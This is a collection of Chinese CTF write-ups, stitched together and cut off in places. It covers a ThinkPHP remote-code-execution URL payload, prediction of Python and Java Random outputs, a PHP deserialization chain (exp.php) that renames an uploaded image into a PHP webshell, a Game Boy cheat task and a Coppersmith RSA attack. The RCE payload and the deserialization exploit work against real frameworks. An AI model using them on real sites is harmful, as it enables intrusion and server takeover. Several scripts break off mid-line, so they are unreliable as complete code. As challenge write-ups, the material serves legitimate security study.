访问/1/runtime/log/201903/12.log
,发现有payload:
是thinkphp的rce。
payload:
/1/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag
一共有三个与随机数有关的挑战。
第一关和第三关涉及 Python 的Random
模块,随机种子 seed 是 Unix 时间戳。由于时间戳只精确到秒,只要速度够快,就能获得跟远程机器一样的 seed。
第三关涉及 Java 的Random
模块(即java.util.Random
)。该模块生成的随机数十分不安全,目前已经被SecureRandom
模块代替。
随机数生成算法:
seed = 0xdeadbeefdead
def prng():
global seed
seed = (seed * 0x5DEECE66DL + 0xBL) & 0xFFFFFFFFFFFF
return seed >> 16
rand0 = prng()
rand1 = prng()
rand2 = prng()
.....
原理很简单:首先设定一个48位初始 seed,先按照算法计算出新 seed,再取其前32位作为随机数,然后不断重复循环生成。因为随机数就是 seed 的前32位,只要能知道两个连续生成的随机数,就能爆破后16位获取完整的 seed,从而预测后续生成的随机数。
脚本如下:
#from pwn_works import *
from pwn import *
from hashlib import sha256
from itertools import product
import time
import random
context(log_level="debug")
def java_rand_predict(v1, v2):
def prng(seed):
return ((seed * 0x5DEECE66DL + 0xBL) & ((1 << 48) - 1))
def t32(i):
if i >> 31:
return -((1 << 32) - i)
return i
def f32(i):
if i < 0:
return (1 << 32) + i
return i
v1 = f3
strings
查看字符串发现base64
字符集:
IDA分析程序,main里有base64加密的字符:
下面有一个对输入的处理,然后与上述字符串比较:
直接将base64加密后的结果导出,即可得到flag:
flag:flag{mafakuailaiqiandaob}
访问/www.tar.gz获取源码。
所有核心代码都在tp5/application/web/controller里。
home会执行login_check。
login_check会对cookie反序列化,之后再根据ID查数据库。
接下来就是反序列利用链,目标是通过upload_img将上传的图片shell重命名为.php。
Profile->__call可以执行任意方法:
要能执行Profile->__call需要找一个会执行成员变量的一个方法的__wakeup或__destruct
然后在Register找到了:
所以构造Register->checker = Profile
、Profile->index = "upload_img"
,再加上其他成员变量就能重命名upload目录下的文件了。
exp.php:
<?php
namespace app\web\controller;
class Profile
{
public $checker = null;
public $filename_tmp = '../public/upload/da5703ef349c8b4ca65880a05514ff89/2d7a512ba434e78b33798d19c5b8a82a.png';
public $filename = '../public/upload/da5703ef349c8b4ca65880a05514ff89/shell.php';
public $upload_menu = 'da5703ef349c8b4ca65880a05514ff89';
public $ext = true;
public $img;
public $except;
public $index = 'upload_img';
}
class Register
{
public $checker; // Pr0file
public $registed = false;
}
$r = new Register;
$r->checker = new Profile;
$s =
两首歌(鸡你太梅,大碗宽面还挺好听),一个游戏
想把游戏直接通关,但是网页好像不太好操作
看看游戏页面源码
试试能不能直接看js目录,是可以得,搜索有用信息
mobile.js里看到
game.gb应该就是游戏了,下载下来,百度搜了一下是GAMEBOY文件
下了个模拟器运行游戏,然后百度都会有说金手指,模拟器
查查就是个修改器之类的,但这个模拟器里的不太会用,想着改数值,但这里好像只能插入,换了一个
开始游戏(手残,基本只能过1个,所以卡了试了很久)
每次结束开金手指搜几次通过的个数
第一次:过一个
第二次:过两个
那就把两个地址的数值改到最大 FF
分别应用两个金手指,发现第一个,在开始到结束,结束的时候,就出了flag,但是一会就没了,还好手速快
一系列的基于 coppersmith attack 的RSA问题,让人不禁联想到去年强网杯也是出了连续10道RSA的操作,算是综合性题目,去年的出题人说的也是,出题思路是把市面上有的rsa攻击都考一遍,这次就是更具体了一点,把现有的coppersmith攻击技术都考了一遍,这些类型在ctfwiki上都能找到,把它们实践一遍,也算是对得起study这个名字了。
POW完进入题目后,要求的是输入token,后面生成的题目每次都是相同的,所以猜测是根据token生成一系列伪随机数,但不管怎样,对我们来说题目就是固定的了,所以可以直接用独立的sage脚本去解出答案,直接发过去就行了。
已知明文的高位,要得到后面72位,典型的Known High Bits Message Attack
n = 0x1e4c23321ee5005085faa926e98104dfb1ce0070a1c423e86909f7e2e822ef331c0610aaeb1fd790a950e4786d69572d76713abe28b2554605c150b186b034d0f337a1cee0759bd023915788c619bde453ab5c02eaff5ef429663d335675cb6f09db2297aa03fcfd176ee4c8eca57e4489a8177ac8556e50990dfda65df85157
e = 3
m = randrange(n)
c = pow(m, e, n)
beta = 1
epsilon = beta^2/7
nbits = n.nbits()
kbits = floor(nbits*(beta^2/e-epsilon))
mbar = 0x48ec711a1b4994739e0a365949d2b455e9a30390c5285897b95f7d3974340d7be798c7325727bd78cc51b8dfe035abd9228405cfe0b70c000000000000000000
c = 0xe16b1bc6933849c47e5bd738f240070038626409ad1b8a2babf7ee07ef59f